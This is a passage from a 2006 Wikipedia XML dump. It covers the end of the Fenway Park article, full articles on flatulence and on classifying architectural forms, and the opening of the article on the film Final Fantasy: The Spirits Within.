For decades there was considerable debate about the true left field distance, which was posted as 315 feet (96 m). For years, Red Sox officials refused to remeasure the distance.  Reportedly, the ''[[Boston Globe]]'' was able to sneak into Fenway Park and remeasure the line.  When the paper's evidence was presented to the club in [[1995]], the line was finally remeasured by the Red Sox and truly restated at 310 feet (94.5 m). The companion 96 meters sign remained unchanged, until [[1998]], when it was finally corrected to 94.5 meters. A theory about the incorrect foul line distance is the former 315 ft (96 m) measurement came from the Duffy's Cliff days.  That measurement likely included the severity of the incline, and when the mound was leveled, the distance was never corrected. A quick study of the geometry of &quot;Duffy's Cliff&quot; suggests that the theory has merit.  Regardless of the posted distance, frustrated pitchers will always argue that &quot;The Green Monster&quot; is closer than the sign says.

===The &quot;.406 Club&quot; (formerly, &quot;The 600 Club&quot;)===
In [[1983]] private suites were added to the roof behind home plate.  In [[1988]], 610 stadium club seats enclosed in glass and named the &quot;600 Club&quot;, were added above the home plate bandstand, replacing the existing press box.  The press box was then added to the top of the 600 Club.  The 1988 addition is largely credited with changing the air currents in Fenway Park to the detriment of hitters.  In the 1980s, an [[Massachusetts Institute of Technology|MIT]] professor published his scientific finding that the addition does, in fact, curtail home runs at Fenway Park, giving credence to that claim by players, coaches, and fans.

In 2002, the club renamed the club seats the &quot;.406 Club&quot; (in honor of [[Ted Williams]]' batting average in [[1941]]), six days after his death. (Williams is the last player to hit .400 or better in the major leagues.)

During the fall and winter of 2005-2006, as part of the continuing expansion efforts at Fenway Park, the existing .406 club is being rebuilt. Starting with the 2006 season, the second deck will feature two open-air levels: the bottom level will be the new &quot;EMC Club&quot; featuring 406 seats and [[concierge]] services, and above that, the State Street Pavilion Club, with 374 seats and a dedicated standing room area.  The added seats will be wider than the current seats.

===Center field &quot;triangle&quot;===
There was once a smaller &quot;triangle&quot; at the left end of the bleachers, posted as 388 feet (118.3 m). The end of the bleachers form a right angle with &quot;The Green Monster&quot;, and the flagpole stands within that little triangle. That is not the true power alley, but deep left-center. The true power alley distance is not posted. The foul line intersects with &quot;The Green Monster&quot; at a right angle, so the power alley could be estimated at 336 feet (102.4 m), assuming the power alley is 22.5 degrees away from the foul line as measured from home plate.

===&quot;Canvas Alley&quot;===
A phrase made popular by Boston television commentators, &quot;Canvas Alley&quot; is the open alley behind the first base line where the grounds crew sits. Contrary to the belief that it &quot;houses&quot; the tarp it does not. The tarp sits next to the camera pit which is next to the Red Sox dugout.

==Ground Rules==
*Foul poles, screen poles and screen on top of left field fence are outside playing field. 
*A ball going through scoreboard, either on the bound or fly, is two bases. 
*A fly ball striking left-center field wall to right of line behind flag pole is a home run. 
*A fly ball striking wall or flag pole and bounding into bleachers is a home run. 
*A fly ball striking line or right of same on wall in center is a home run. 
*A fly ball striking wall left of line and bounding into bullpen is a home run. 
*A ball sticking in the bullpen screen or bouncing into the bullpen is two bases. 
*A batted or thrown ball remaining behind or under canvas or in tarp cylinder is two bases. 
*A ball striking the top of the scoreboard in left field in the ladder below top of wall and bounding out of the park is two bases. 

==Changes in Fenway Park==
In [[1946]], upper deck seats were installed; Fenway Park is essentially the first double-tiered ballpark in Boston since the [[South End Grounds]] of the [[1880s]].

In [[1947]], arc lights were installed at Fenway Park.  The Boston Red Sox were the third to last team out of 16 major league teams to have lights in their home park. 

In [[1976]], metric distances were added to the conventionally-stated distances because it was thought that the United States would adopt the metric system. Today, few [[United States|American]] ballparks have metric distances posted.  Fenway Park retained the metric measurement until mid-season [[2002]], when they were painted over.  Also, Fenway's first message board was added over the centerfield bleachers.

After Red Sox won the [[2004 World Series]], a new drainage system was installed on the field.  The system, along with new sod, was installed to prevent the field from becoming too wet to play on during light to medium rains, and to reduce the time needed to dry the field adequately.  Work on the field was completed only weeks prior to spring training.

===Proposed changes===
After the [[2005]] season, the Red Sox announced that they, in addition to their plans for the .406 Club area, would add 852 pavilion club seats, 745 pavilion box seats, and approximately 200 pavilion standing-room seats along the left- and right-field lines for the [[2006]] season, replacing approximately 1,300 seats.

The Red Sox plan to also add approximately 700 tickets for the [[2007]] season and 1,400 tickets for the [[2008]] season. In adding additional seating, the Red Sox plan to have 1,000 of the seats added over the three years be high-priced premium seats, to help deflate ticket costs and bring Fenway up to the MLB average of percentage of premium seating.

The Red Sox have also stated that at somepoint before the 2012 season ( Fenways 100th anniversery ) that they would like to replace the old wood seats in the grandstand section.

==Seating capacity==
Fenway Park currently holds more than 36,200 spectators.  This number has increased over the years as seats have been added in what was once foul territory, throughout the upper decks, and, most recently, on top of &quot;The Green Monster&quot; and atop the right field roof.  Some people have proposed increasing the [[seating capacity]] by up to 10,000 more seats through the expansion of the upper decks, while others have proposed razing the historic ballpark entirely and building a similar, but larger and more modern, scalable facility nearby.
To give some more fans the opportunity to visit a Red Sox game there is a Standing Room area, too. Such a ticket costs 20 dollars and the owner can stand wherever he wants behind the good seats.

==Other tenants==
Despite its relatively small size, Fenway Park's [[oblong|oblong-esque]] layout actually makes it a reasonably viable football facility. The [[National Football League|National Football League's]] [[Washington Redskins]] played at Fenway for four seasons, [[1933]] to [[1936]], as the Boston Redskins after playing their inaugural season in [[1932]] at [[Braves Field]] as the Boston Braves, and the [[American Football League|American Football League's]] [[New England Patriots|Boston/New England Patriots]] called Fenway Park home from [[1963]] to [[1968]] after moving to there from [[Nickerson Field]], the direct descendant of Braves Field. The Red Sox's one-time crosstown rivals, the [[Atlanta Braves|Braves]] used Fenway Park when they were the Boston Braves and played their home games there during the [[1914 World Series]].  At various times in the past, [[Boston College]] and [[Boston University]] teams have also played football games at Fenway Park, too. In February of 2006 the Boston Herald and other news sources have reported that Boston College has shown interest in setting up a hockey rink and playing a game their in the winter of 2006-2007

==Non-baseball uses==
One of the most famous [[political campaign|campaign]] speeches in American political history was made at Fenway Park in the [[1940]] Presidential race, when [[President]] [[Franklin D. Roosevelt]] promised that he would not send American servicemen into foreign wars.  During this time [[World War II]] was raging in [[Europe]], but the United States was officially [[neutral]], although it was aiding the [[United Kingdom]] and the [[Soviet Union]].  This speech was noted repeatedly by Roosevelt's opponents, even after [[Japanese Navy|Japanese Imperial Naval forces]] attacked the [[United States]] at [[Pearl Harbor]], [[Hawaii]] on [[December 7]], [[1941]], forcing the United States to enter World War II.

Although Fenway Park was not previously a frequent venue for [[concerts]], the Red Sox' new ownership has used the venue for two concerts each year, starting in 2003 with [[Bruce Springsteen]] and the E Street Band.  [[Jimmy Buffett]] performed at Fenway in 2004, followed by the [[Rolling Stones]] in 2005.

==Fenway Park on the silver screen==
The park was featured in a pivotal scene in the [[1989]] [[Kevin Costner]] film ''[[Field of Dreams]]''. It was the only location shoot outside the [[Iowa]]-[[Illinois]] area.

The 2005 movie, ''[[Fever Pitch (2005 film)|Fever Pitch]]'' included scenes shot on location during the 2004 [[American League Championship Series]] games and scenes from [[Busch Stadium]] were filmed after Game 4 of the [[2004 World Series]].

Some scenes from ''Blown Away'' ([[1994]]) and ''Little Big League'' (also 1994) were filmed at Fenway Park.

(Source: ''Shot on This Site'', by William A. Gordon (ISBN 080651647X)

==References==
*[http://www.boston.com/news/local/massachusetts/articles/2005/04/16/sox_to_add_upscale_seats_sponsor_signed?pg=full ''Boston Globe'' - Sox to add upscale seats; sponsor signed]

==External links==
*[http://www.ballparkdigest.com/visits/fenway.htm Fenway Park info, including information on visiting]
*[http://ballparks.com/baseball/american/fenway.htm Fenway Park info]
*[http://boston.redsox.mlb.com/NASApp/mlb/bos/ballpark/bos_ballpark_history.jsp Boston Ballpark History]. ''MLB.com''.
*[http://maps.google.com/maps?q=Boston&amp;ll=42.346458,-71.097261&amp;spn=0.005536,0.007693&amp;t=k&amp;hl=en Google Maps Aerial map]
*[http://www.savefenwaypark.com/ SaveFenwayPark.com, a fan-run movement to save and preserve Fenway Park]
{{Geolinks-US-streetscale|42.346590|-71.097}}

{{MLB Ballparks}}

[[Category:American Football League venues]]
[[Category:Boston Red Sox]]
[[Category:Defunct National Football League venues]]
[[Category:Major League Baseball venues]]
[[Category:Sports venues in Boston]]
[[Category:1912 establishments]]

[[de:Fenway Park]]
[[fr:Fenway Park]]
[[ja:フェンウェイパーク]]</text>
    </revision>
  </page>
  <page>
    <title>Flatulence</title>
    <id>11240</id>
    <revision>
      <id>42161470</id>
      <timestamp>2006-03-04T05:43:19Z</timestamp>
      <contributor>
        <username>Muchness</username>
        <id>282514</id>
      </contributor>
      <comment>rm nn slang</comment>
      <text xml:space="preserve">{{SignSymptom infobox |
  Name        = Flatulence |
  ICD10       = R14 |
  ICD9        = 787.3 |
}}

'''Flatulence''' is the presence of a mix of [[gas]]es known as '''flatus''' (lat. flatus = &quot;wind&quot;) produced by [[symbiosis|symbiotic]] [[bacterium|bacteria]] and [[yeast]]s living in the [[gastrointestinal tract]] of [[mammal]]s. Flatulence is released under [[pressure]] through the [[anus]], often with a characteristic [[sound]] and offensive [[odor]], sometimes that of [[rotten eggs]], [[garbage]], [[feces]] or [[manure]]. Releasing flatulence is colloquially known as &quot;[[fart]]ing&quot;.

==Amount and constituents==
{{unreferenced}}

The average human releases 0.5 to 1.5 [[litre]]s (1 to 3 U.S. [[pint]]s) of flatus in 12 to 25 episodes throughout the day. The primary constituents of flatulence are the non-odorous gases, in descending order of concentration, [[nitrogen]] (ingested), [[oxygen]] (ingested), [[methane]] (produced by [[anaerobic organism|anaerobic microbe]]s), [[carbon dioxide]] (produced by [[aerobic organism|aerobic microbe]]s or ingested), and [[hydrogen]] (produced by some microbes and consumed by others). Odors result from [[Trace evidence|trace amounts]] of other components (often [[sulphur]] containing, see below).

[[Nitrogen]] is the primary [[gas]] released. [[Methane]] and [[hydrogen]], lesser components, are [[flammable]], and so flatulence is susceptible to catching [[fire]]. Gas released mostly has a foul odor which mainly results from low [[molecular weight]] [[fatty acids]] such as [[butyric acid]] ([[Rancidity|rancid]] [[butter]] smell) and [[redox|reduced]] [[sulfur]] compounds such as [[hydrogen sulfide]] (rotten egg smell) and [[carbonyl sulfide]] that are the result of [[protein]] breakdown.  The incidence of odoriferous compounds in flatus increases from [[herbivores]], such as [[cattle]], to [[omnivores]] to [[carnivorous]] [[species]], such as [[cat]]s.

==Causes==
Intestinal gas is composed of 90% exogenous sources (air that is ingested through the nose and mouth) and 10% endogenous sources (gas is produced within the digestive tract). The [[endogenous]] gases are produced as a by-product of digesting certain types of [[food]].  Flatulence producing foods are typically high in [[polysaccharide]]s (especially [[oligosaccharides]] such as [[inulin]]) and include [[bean]]s, [[milk]], [[onion]]s, [[sweet potato]]es, [[cheese]], [[cashew]]s, [[broccoli]], [[cabbage]], [[Jerusalem artichoke]]s, [[oat]]s, [[yeast]] in [[bread]]s, etc.

In beans, endogenous gases seem to arise from [[oligosaccharide]]s, [[carbohydrate]]s that are resistant to digestion. These pass through the upper [[intestine]] largely unchanged, and when they reach the lower [[intestine]], [[bacteria]] feed on them, producing copious amounts of flatus (McGee 1984 pp.257&amp;ndash;8).

In the case of those with [[lactose intolerance]], intestinal [[bacteria]] feeding on [[lactose]] can give rise to excessive gas production when [[milk]] or lactose-containing substances have been consumed.

Interest in the causes of flatulence was spurred by high-altitude [[flight]] and the [[space program]]; the low [[atmospheric pressure]], confined conditions, and stresses peculiar to those endeavours were cause for concern (McGee, 1984 pp.257&amp;ndash;8).

==Mechanism of action==
The [[noise]]s commonly associated with flatulence are caused by the [[vibration]] of the [[anal]] opening. The sound varies depending on the tightness of the [[sphincter]] [[muscle]] and [[velocity]] of the [[gas]] being propelled, as well as other factors such as [[moisture]] and body [[fat]].

Flatus is brought to the anus in the same [[peristalsis]] method as [[feces]], causing a similar feeling of urgency and discomfort. Nerve endings in the rectum learn to distinguish between flatus and [[feces]], although loose [[stool]] can confuse these [[nerves]], and sometimes results in accidental defecation.

==Remedies==
{{unreferenced}}
===Dietary===
Certain [[spice]]s counteract the production of intestinal gas, most notably [[cumin]], [[caraway]] and the closely related [[ajwain]], [[turmeric]], [[asafoetida]] (hing) and [[konbu]] [[kelp]](a [[Japanese people|Japanese]] [[seaweed]]). Many people report that by reducing intake of most refined [[carbohydrate]]s (such as [[rice]], [[pasta]], [[potato]]es and [[bread]]), the amount of flatulence may decrease significantly.  The water-soluble oligosaccharides in beans that contribute to production of intestinal gas can be reduced through a regime of brief boiling followed by a long period of soaking, but at a cost of also leaching out other water-soluble nutrients.  Some legumes also stand up to prolonged cooking, which can help break down the oligosaccharides into simple sugars.  [[Fermentation]] also breaks down oligosaccharides, which is why fermented bean products such as [[miso]] and [[tofu]] are less likely to produce as much intestinal gas.

[[Probiotic]]s ([[yogurt]], [[kefir]], [[acidophilus]], bifidus, etc.) and [[prebiotic]]s (such as FOS) may also reduce flatulence if they are used to restore balance to the normal intestinal flora; used in excess, however, they may create an imbalance which increases flatulence.

Medicinal [[charcoal]] tablets have also been reported as effective in reducing both odor and quantity of flatus when taken immediately prior to food that is likely to cause flatulence later.

===Pharmacological===
[[Digestive enzyme]] supplements can significantly reduce the amount of flatulence when that flatulence is caused by some components of foods not being digested by the body and feeding the microbes in the small and large [[intestines]]. The [[enzymes]] [[alpha-galactosidase]] (brands [[Beano (dietary supplement)|Beano]], Bean-zyme), [[lactase]] (brand Lactaid), [[amylase]], [[lipase]], [[protease]], [[cellulase]], [[glucomylase]], [[invertase]], [[malt diastase]], [[pectinase]], and [[bromelain]] are available, either individually or in combination blends, in commercial products.

While not affecting the production of the gases themselves, agents which lower [[surface tension]] can reduce the disagreeable sensations associated with flatulence, by aiding the dissolving of the gases into other liquid and solid fecal matter.

Often it is helpful to ingest small quantities of acidic liquids with meals, such as lemon juice or vinegar, to stimulate the production of hydrochloric acid, which in turn increases enzyme production. This facilitates digestion and may limit gas production.

==Health effects==
{{unreferenced}}
As a normal body function, the action of flatulence is an important signal of normal [[bowel]] activity and hence is often documented by nursing staff following surgical or other treatment of patients.

There is no particular harm to come from holding in flatus. Flatulence is not [[poisonous]]; it is a natural component of various intestinal contents. However, discomfort may develop from the build-up of gas pressure. In theory, pathological distension of the bowel, leading to [[constipation]], could result if a person holds in flatus.

If a person holds in flatulence during daytime, it will often be released during sleep when the body is relaxed.

==Environmental impact==
[[Livestock]] are a significant contributing factor to the [[greenhouse effect]], accounting for around 20% of global [[methane]] emissions[http://www.newscientist.com/article.ns?id=dn6431]. Less than 10% of the total [[greenhouse gas]] emissions from livestock is produced by animal flatulence; most is produced by animal [[burping]]. Livestock in [[New Zealand]] account for 60% of the country's greenhouse gas emissions[http://www.guardian.co.uk/international/story/0,3604,1035851,00.html]. Livestock in [[Australia]] contribute approximately 14% of that country's greenhouse gas emissions.{{fact}}

==Social context==
In many [[culture]]s, excessive human flatulence is regarded as embarrassing and impolite,  even to the point of being a [[taboo]] subject; and hence a natural subject for [[toilet humour]].

People will often strain to hold in the passing of gas when in polite company, or position themselves to conceal the noise and smell.

Flatulence can be considered humorous to some people, either due to the scent or the sounds produced.  Some find humor in [[Fart lighting|flatulence ignition]], which is possible due to the presence of flammable gases such as hydrogen and methane, though the process can result in  burn injuries to the rectum and anus.

== Literature and the arts==
[[Image:Walter_the_Farting_Dog.jpg|right|300px|thumb|Walter the Farting Dog]]
Flatulence has had a role in literature for centuries. In [[Rabelais]]' 16th century ''[[Gargantua]]'' cycle, the word ''pet'' (fart) appears several times.

In the translated version of Penguin's ''1001 [[The Book of One Thousand and One Nights|Arabian Nights]] Tales'', a story titled &quot;The Historic Fart&quot; tells of a man that flees his country from the sheer embarrassment of farting at his wedding.

In [[Dante]]'s ''[[Divine Comedy]]'', the last line of Inferno Chapter XXI reads: ''ed elli avea del cul fatto trombetta'' (&quot;and he used his buttocks as a trumpet&quot;), in the last example the use of this natural body function underlined a demoniac condition.

In [[Chaucer]]'s &quot;[[Miller's Tale]]&quot; (one of the ''[[Canterbury Tales]]''), the character Nicholas hangs his buttocks out of a window and farts in the face of his rival Absolom. Absolom then sears Nicholas's bum with a red-hot poker (&quot;Nicholas quickly raised the window and thrust his ass far out...At this Nicholas let fly a fart with a noise as great as a clap of thunder, so that Absolom was almost overcome by the force of it. But he was ready with his hot iron and smote Nicholas in the middle of his ass.&quot;). (Lines 690&amp;ndash;707)

In [[James Joyce]]'s ''[[Ulysses (novel)|Ulysses]]'', the main character [[Leopold Bloom]] breaks wind in the &quot;Sirens&quot; chapter of the book. [http://www.robotwisdom.com/jaj/ulysses/sirens.html#1252]

In [[Emile Zola]]'s ''La Terre'' (the 15th volume of the series [[Les Rougon-Macquart]]), the eldest Fouan son can fart at will and keeps winning free drinks by betting on his skill.

The [[Walter the Farting Dog]] series of children's books by [[William Kotzwinkle]] with Glenn Murray feature a flatulent dog as a central comedic element.

In the cinema, farting has been featured in films intended for adult audiences such as ''[[Blazing Saddles]]'' as well as children's films such as ''[[The Lion King]]''.

Farting is no longer summarily censored from television broadcasts in the [[United States]]. During the telecast of [[Super Bowl XXXVIII]], a beer advertisement featured a horse passing gas.

In the TV series ''[[South Park]]'', the in-series TV show ''[[Terrance and Phillip]]'' features two Canadian boys of the show's namesake who rely mostly on farts for their humor.

''[[The Gas We Pass]]'' (ISBN 0916291529) is a popular children's book in the United States about flatulence.

[[Beans Beans the Magical Fruit...]] is a popular children's song about [[bean]]s and their capacity to cause flatulence.

==Curiosities==
*[[Le Petomane]] &quot;the Fartiste&quot; a famous French performer in the 19th Century as well as many [[professional farter]]s before him did flatulence impressions and held shows.

*An apocryphal story about [[Edward de Vere, 17th Earl of Oxford|Edward de Vere, Earl of Oxford]] is that he farted while swearing loyalty to [[Elizabeth I of England|Queen Elizabeth I]] and consequently went into self-imposed [[exile]] for [[seven]] years. After his return, the Queen was reported to have reassured de Vere: &quot;My Lord, I had quite forgotten the fart.&quot; ([[John Aubrey]], ''[[Brief Lives]]'')

*[[Emperor Claudius]] passed a law legalizing farting at banquets out of concern for people's health. There was a widespread misconception that a person could be poisoned by retaining farts.

*In August [[2005]], ''[[New Scientist]]'' magazine reported that inventors Michael Zanakis and Philip Femano had been awarded a US patent ({{US patent|6,055,910}}) for a &quot;toy gas-fired missile and launcher assembly&quot;. The abstract of the patent makes it clear that this is, in fact, a fart-powered [[rocket]]:
*:&quot;A ... missile is composed of a soft head and a tail extending therefrom formed by a piston. The piston is telescoped into the barrel of a launcher having a closed end on which is mounted an electrically activated igniter, the air space between the end of the piston and the closed end of the barrel defining a combustion chamber. Joined to the barrel, and communicating with the chamber therein, is a gas intake tube having a normally closed inlet valve. To operate the assembly, the operator places the inlet tube with its valve open adjacent [to] his anal region, from which a colonic gas is discharged. The piston is then withdrawn to a degree producing a negative pressure to inhale the gas into the combustion chamber to intermix with the air therein to create a combustible mixture. The igniter is then activated to explode the mixture in the chamber and fire the missile into space.&quot;

*British inventors have also patented fart-related ideas, such as &quot;A fart collecting device,&quot; which includes a drawing of the invention deployed and ready for action, with helpful numbers to identify the various components. &quot;It comprises a gas-tight collecting tube 10 for insertion into the rectum of the subject. The tube 10 is connected to a gas-tight collecting bag (not shown). The end of the tube inserted into the subject is apertured and covered with a gauze filter and a gas permeable bladder 28.&quot;

*[[Mambo Graphics]], an Australian surfwear label, features the iconic &quot;Farting Dog&quot; design [http://www.powerhousemuseum.com/australia_innovates/media/client/P402_9.jpg] in its lineup. Here the flatulence is depicted as a musical note emanating from the dog's backside.

==See also==
*[[professional farter]]
*[[Borborygmus]]

==References==
* {{cite book
 | author = McGee, Harold
 | title = [[On Food and Cooking]]
 | publisher = Scribner
 | year = 1984
 | id = ISBN 0684843285
 }}
* [http://www.newscientist.com/article.ns?id=dn6431 &quot;Burp vaccine cuts greenhouse gas emissions&quot;] by Rachel Nowak, ''New Scientist'' website, [[25 September]] [[2004]], retrieved [[December 3]] [[2005]].
* [http://www.guardian.co.uk/international/story/0,3604,1035851,00.html &quot;Farmers raise stink over New Zealand 'fart tax'&quot;] by David Fickling,''Guardian Unlimited'', [[September 5]] [[2003]], retrieved [[December 3]] [[2005]].

===Nontechnical Resources===
* {{cite book
 | author = Franklin, Benjamin
 | editor = Japikse, Carl (Ed.)
 | title = Fart Proudly
 | publisher = Frog Ltd/Blue Snake
 | year = 2003
 | edition = (Reprint)
 | id = ISBN 1583940790
 }}
* {{cite book
 | author = Dawson, Jim
 | title = Who Cut the Cheese?: A Cultural History of the Fart
 | publisher = Ten Speed Press
 | year = 1999
 | id = ISBN 1-58-008011-1
 }}

==External links==
{{wiktionarypar2|fart|flatulence}}
*[http://www.merck.com/mrkshared/mmanual/section3/chapter32/32b.jsp The Merck Manual of Diagnosis and Therapy, Gas]
*[http://www.heptune.com/farts.html Facts on Farts]
*[http://www.sillyjokes.co.uk/fart_machine/fart_slang.html Dictionary of Fart Slang]
*[http://abc.net.au/spark/smelly/fartsurvey/default.htm The Great Fart Survey (simple statistical analysis of flatulence in youths) produced by Australian Broadcasting Corporation youth website, ''Rollercoaster'')]

[[Category:Reflexes]]
[[Category:Flatulence| Flatulence]]
[[Category:Gastroenterology]]

[[de:Flatulenz]]
[[es:Flatulencia]]
[[fi:Pieru]]
[[fr:Flatulence]]
[[he:נפיחה]]
[[id:Kentut]]
[[it:Flatulenza]]
[[ja:屁]]
[[nl:Winderigheid]]
[[pl:Gazy jelitowe]]
[[pt:Flatulência]]
[[ru:Метеоризм]]
[[sv:Flatulens]]</text>
    </revision>
  </page>
  <page>
    <title>Forms in architecture</title>
    <id>11241</id>
    <revision>
      <id>31489168</id>
      <timestamp>2005-12-15T17:22:12Z</timestamp>
      <contributor>
        <username>Bill37212</username>
        <id>209421</id>
      </contributor>
      <minor />
      <comment>/* Grouped by geometry */ disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{cleanup-date|September 2005}}

== Philosophical arguments for classification system ==
There are many ways to study architecture and the forms that are created by architects.  Two classification systems emerged out of the debate between [[Modernism]] and [[Postmodernism]]. On one hand is the idea of the [[archetype]]: walls, doors, columns, etc. The other theory was put forth as an extension of Kant and Heidegger's theory of Relative Homelessness, or the idea of relative values and icons in the world.  Both theories serve architecture well as a construct of discourse. Yet both theories taken to extremes tend to muddy the picture for classifying and categorizing architecture. A discussion of the two theories and their ramifications need to be put forth as a sort of disclaimer, and to further the architectural discourse at Wikipedia.

In the theory of Archetypes, small elements that are universal truths are combined and arranged in a coherent, holistic building. This tradition extends from the Platonic/Pythagorean tradition of primary elements. A recent champion of this notion was [[Frank Lloyd Wright]]. His designs relied on the punning notion that &quot;Home is where the Hearth is&quot;, with the hearth as the symbolic and literal center of the house and family. The archetype relies on the notion of universal truths or building forms. Many architectural treatises from [[Vitruvius]], to [[Claude Perrault]], to [[Gottfried Semper]], to [[John Wellborn Root]], to even [[Le Corbusier]] rely on the idea of archetypes to some degree.

At the other end of the spectrum lies a concept entirely foreign to archetype. A simple, unofficial title could be Relative Homelessness. The logical ideas are complex and very convoluted. A short, and very simplified explanation follows.  Disclaimer: I am not a [[philosophy]] student; therefore this [[synopsis]] might have some small errors. I have studied this extensively in school and on my own, but a true student of philosophy could explain these ideas better.  

This idea has roots in the work of [[Martin Heidegger]], who was very interested in language and its effect on human beings, and his protégé Derrida, and the idea of relative truth. A synopsis of the logical chain goes like this.  Heidegger is interested in the idea of [[Hermeneutics]], or the study of the methodological principles of interpretation. Everyone is Hermeneutic; therefore everyone is interpreting life/world as he/she encounters it. Therefore there is no final truth, everything is relative and nothing is absolute. To be human is to interpret.  Along with this logical chain goes the idea of context.  Heidegger states that you cannot discover anything without using your predetermined context: social, place, area, age, etc. You cannot decide upon an issue without using your already existing content. Therefore the idea of the universal, and the idea of [[Archetype]] are void. Another assault on [[Archetype]] states that since human beings value systems are based on context, therefore are relative voids Archetype. The final assault also comes from context: the idea that physical forms somehow have intrinsic values. Values that somehow transcend space, time, and physical location are voided by Heidegger's idea of context.

== Summary ==
Contemporary architect [[Peter Eisenman]] champions this theory.  If [[Frank Lloyd Wright]] would say, &quot;You can always go home&quot;, Peter would say, &quot;Oh no you can't&quot;.  This distinction of absolute to relative distinguishes the two philosophies.  Current philosophical and architectural discourse oscillates between these two diametric entities.  Movements such as Regionalism and the so-called New Urbanists [who are neither urban nor new, but that is another debate] rely heavily on the Archetype as a design element. Then there are [[architect|architects]] such as the aforementioned Eisenman, Thom Mayne lead Morphosis, and a host of others who view the world as relative, interchangeable space.  In actual practice architecture and architects generally fall within one camp or the other, with many distributed between two poles. It is helpful to think of this diagram a segment with two points and ideas, views and people as a continuum between the two views. For Wikipedia we will classify architecture using a modified [[Archetype]]. This makes sense because Wikipedia as a dictionary likes elemental ideas and classifications. We will break the elements of [[architecture]] down into archetypical elements, so as to understand architecture as a whole. The argument of whether or not these elements have basic intrinsic values that are universal to all can be set-aside in the quest to understand architecture.

== Archetypical elements of buildings ==
:Vertical
::[[Wall]]
:::[[Arch]]
:::[[Beam (structure)|Beam]]
:::[[Lintel]]
:::[[Quoin]]
::[[Column]]
:::[[Classical orders|Orders]]
:::Base
:::Shaft
:::[[Capital (architecture)|Capital]]
::[[Openings]]
:::[[Window]]
:::[[Door]]

:Horizontal
::[[Plinth]]
::[[Floor]]
::[[Roof]]

== Grouped by geometry ==

::'''Line'''
:::[[Column]]
::::[[classical orders|Orders]]
::::Base
::::Shaft
::::[[Capital (architecture)|Capital]]
::'''Plane'''
:::[[Wall]]
::::[[Arch]]
::::[[Beam (structure)|Beam]]
::::[[Lintel]]
::'''Volume'''
::::[[piazza]]
::::forum
::::[[agora]]

Other
:Domestic space
::[[house]]
:Public space
::[[palace]]
::[[capitol]]
::[[basilica]]

[[Category:Architectural elements]]</text>
    </revision>
  </page>
  <page>
    <title>Final Fantasy: The Spirits Within</title>
    <id>11242</id>
    <revision>
      <id>41990419</id>
      <timestamp>2006-03-03T02:01:58Z</timestamp>
      <contributor>
        <ip>70.131.155.105</ip>
      </contributor>
      <comment>Removed redundant and poorly written paragraph</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Final Fantasy: The Spirits Within |
  image          = Final Fantasy TSW DVD.jpg |
  director       = [[Hironobu Sakaguchi]] |
  producer       = [[Chris Lee]] |
  writer         = [[Al Reinert]]&lt;br&gt;[[Jeff Vintar]] |
  starring       = [[Ming-Na]] as [[Aki Ross]] (voice)&lt;br&gt;[[Alec Baldwin]] as [[Gray Edwards]] (voice)&lt;br&gt;[[Ving Rhames]] as [[Ryan Whitaker]] (voice) |
  distributor    = [[Columbia Pictures]] |
  released   = [[July 11]], [[2001]] |
  runtime        = 106 min |
  language = English |
  imdb_id        = 0173840 |
  music          = Elliot Goldenthal |
  awards         = Best soundtrack 2001 |
  budget         = $115 million |
}}
'''''Final Fantasy: The Spirits Within''''' is a [[science fiction film|science fiction movie]] by [[Hironobu Sakaguchi]], the creator of the ''[[Final Fantasy]]'' series of [[computer role-playing game|RPGs]]. It was released on [[July 11]], [[2001]] in the [[United States]] and was [[Timeline of CGI in movies|the first]] [[animated feature]] to seriously attempt [[photorealistic]] [[computer-generated imagery|CGI]] [[human]]s.  It is also one of the biggest [[box office bombs]] in film history, with losses of over $120 million, effectively bankrupting [[Square Pictures]].

==Plot==
{{spoiler}}
''Final Fantasy: The Spirits Within'' is set on an [[Extraterrestrial life|alien]]-infested [[Earth]] in the year [[2065]]. The remaining humans live in &quot;barrier cities&quot; all over the world and attempt to free their planet from the Phantoms, an alien race. The only hope for the planet comes from the scientist [[Aki Ross]] and her mentor, Dr. Sid, who have a plan to destroy the Phantoms without damaging the planet, but a general named Hein is determined to use the Zeus space cannon to destroy the Phantoms&amp;mdash;even if it means destroying the Earth in the process.
While the film does carry the name ''Final Fantasy'', it is only vaguely thematically related to [[Square Co., Ltd.]]'s popular ''Final Fantasy'' series of games. The plot, characters, and storyline were all created specifically for the movie although the character of Dr. Sid does continue the games' tradition of having a character named [[Cid (Final Fantasy)|Cid]] appear in most ''Final Fantasy'' games, despite the Doctor's named spelled with an untraditional &quot;S&quot;

==Reception==
The film received mixed reviews but was not a popular success. Its plot is typical of [[Japan]]ese [[science-fiction]] [[anime]] in melding science fiction and spirituality, and it seemed to be best received by [[otaku]], or at least regular viewers of anime. In some aspects, ''Final Fantasy: The Spirits Within'' was no more nor less than a big-budget anime movie.  Other critics felt that its artistic failings were also those of many anime and Hollywood action films alike -- an over-reliance on special effects, clichéd characters, and the sacrifice of meaningful story for spectacle.

The use of CGI in the movie was criticized as a gimmick by people like animation historian [[Jerry Beck]] and producer [[Steve Oedekerk]], who argued that simulating live actors is too expensive and that CGI should be limited to special effects only. But Chris Lee, the producer of ''Final Fantasy'', countered that live actors often can't physically accomplish what computer characters easily can, citing his experience from making ''[[Starship Troopers (film)|Starship Troopers]]'' and ''[[Godzilla]]''. An early scene in the movie, in which Aki floats weightless in an orbital spacecraft, illustrates his point: such scenes are trivial to shoot when your [[actor|actress]] has no weight to begin with. Lee also noted that the difference between the CGI and live action footage can be jarring for viewers when the film requires heavy use of computer effects in almost every scene.

Other critics focused on the failings of the animation itself.  While the [[rendering]] is intended to be photorealistic, the characters' motions and expressions are actually quite stiff and unexpressive compared to actual human motion.  This is most notable in the &quot;doll-eyed stare&quot; of the characters, which many viewers found particularly unnerving, but also in the rigid poses and gaits of the characters, and the lack of deformation in skin and tissue accompanying character motion such as speech and grasping.  The modelling of lighting on skin and hair (which in reality are subtly translucent) is also limited, giving the characters a &quot;painted statue&quot; look.  As a result, the film is often cited as an example of animation that falls into the [[uncanny valley]].

Poor box office performance ([[United States dollar|$]]32 million in North America), combined with the astronomical cost of production ($137 million, plus a further $30 million for marketing), essentially [[bankruptcy|bankrupted]] [[Square Pictures]], the subsidiary of Square that produced it, although Square Pictures did survive long enough to produce an animated tie-in to ''[[The Matrix]],'' ''[[Final Flight of the Osiris]]''.  The film made only $55 million more in overseas box office, meaning total losses were approximately $123 million (the studio typically receives half the box office gross).  The domestic box office loss was at the time apparently the largest in film history.

